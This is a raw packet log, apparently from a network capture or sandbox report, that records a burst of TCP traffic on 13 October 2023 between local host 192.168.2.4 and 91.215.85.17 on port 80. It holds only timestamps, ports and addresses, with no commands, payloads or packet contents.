Oct 13, 2023 16:06:18.315269947 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.315414906 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.315464020 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.315505028 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.315565109 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.315624952 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.315673113 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.315680027 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.315747023 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.315793037 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.315819025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.315859079 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.315901995 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.315931082 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.316004992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.316023111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.316050053 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.316104889 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.316155910 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.316186905 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.316256046 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.316298008 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.316298962 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.316360950 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.316402912 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.316441059 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.316514969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.316557884 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.316610098 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.316708088 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.316750050 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.316831112 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.316891909 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.316934109 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.316968918 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.317038059 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.317080021 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.317140102 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.317164898 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.317205906 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.317233086 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.317310095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.317352057 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.317389965 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.317521095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.317570925 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.317595959 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.317641020 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.317688942 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.317708969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.317763090 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.317806005 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.317832947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.317872047 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.317914009 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.317955971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.317996979 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.318037033 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.318070889 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.318140984 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.318186045 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.318196058 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.318234921 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.318276882 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.318315029 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.318367004 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.318407059 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.318458080 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.318480968 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.318522930 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.318535089 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.318595886 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.318639040 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.318645954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.318722010 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.318769932 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.318835974 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.318944931 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.318989038 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.319070101 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.319205046 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.319248915 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.319279909 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.319348097 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.319391012 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.319506884 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.319587946 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.319633961 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.319766045 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.319844007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.319888115 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.319993019 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.320177078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.320221901 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.320493937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.320574999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.320621014 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.320674896 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.320713043 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.320764065 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.320827961 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.320907116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.320956945 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.321018934 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.321125984 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.321173906 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.321249962 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.321335077 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.321382999 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.321448088 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.321537971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.321589947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.321602106 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.321645021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.321686029 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.321717024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.321830034 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.321871042 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.322020054 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.322097063 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.322139025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.322145939 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.322223902 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.322267056 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.322304010 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.322377920 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.322417974 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.322422981 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.322494030 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.322536945 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.322572947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.322658062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.322695971 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.322757959 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.322776079 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.322813988 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.322849035 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.322889090 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.322926044 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.323044062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.323111057 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.323153973 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.323159933 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.323261976 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.323335886 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.323338985 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.323457956 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.323498011 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.323512077 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.323705912 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.323744059 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.323761940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.323831081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.323874950 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.323954105 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.324037075 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.324120045 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.324143887 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.324158907 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.324171066 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.324199915 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.324242115 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.324276924 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.324331999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.324368000 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.324440002 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.324531078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.324575901 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.324685097 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.324703932 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.324743032 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.324749947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.324821949 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.324846029 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.324863911 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.324917078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.324965954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.324975014 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.325011969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.325053930 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.325103045 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.325120926 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.325160980 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.325215101 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.325411081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.325453043 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.325540066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.325584888 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.325623035 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.325676918 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.325699091 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.325737953 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.325743914 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.325799942 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.325836897 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.325870037 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.325969934 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.326009989 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.326011896 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.326119900 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.326159954 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.326210976 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.326282024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.326298952 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.326322079 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.326373100 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.326411963 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.326472998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.326503038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.326540947 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.326553106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.326622963 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.326659918 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.326698065 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.326757908 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.326797962 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.326836109 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.327040911 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.327080965 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.327119112 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.327167034 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.327208042 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.327251911 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.327270031 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.327307940 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.327359915 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.327441931 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.327480078 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.327497005 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.327550888 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.327589989 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.327662945 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.327728033 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.327765942 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.327802896 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.327852964 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.327897072 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.327936888 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.328012943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.328054905 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.328061104 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.328134060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.328176975 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.328217983 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.328274012 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.328315973 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.328758001 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.328840971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.328886986 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.328886032 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.329010010 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.329050064 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.329113960 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.329202890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.329246998 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.329292059 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.329327106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.329372883 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.329399109 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.329426050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.329467058 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.329498053 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.329576015 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.329619884 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.329693079 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.329773903 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.329818010 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.329938889 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.329986095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.330027103 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.330198050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.330291986 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.330333948 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.330379963 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.330467939 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.330518007 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.330564022 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.330650091 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.330717087 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.330718994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.330806017 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.330848932 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.330894947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.331017017 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.331058025 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.331090927 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.331170082 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.331207037 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.331259966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.331346035 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.331387997 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.331442118 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.331526995 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.331572056 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.331604004 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.331701994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.331743956 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.331803083 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.331883907 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.331922054 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.331969023 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.332045078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.332086086 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.332156897 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.332226038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.332271099 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.332324982 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.332417965 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.332457066 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.332504034 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.332586050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.332624912 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.332691908 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.332766056 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.332804918 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.332849026 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.332931995 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.332972050 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.333017111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.333040953 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.333076954 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.333125114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.333183050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.333220005 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.333271027 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.333381891 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.333420038 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.333488941 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.333563089 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.333599091 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.333643913 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.333741903 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.333777905 CEST	49762	80	192.168.2.4	91.215.85.17
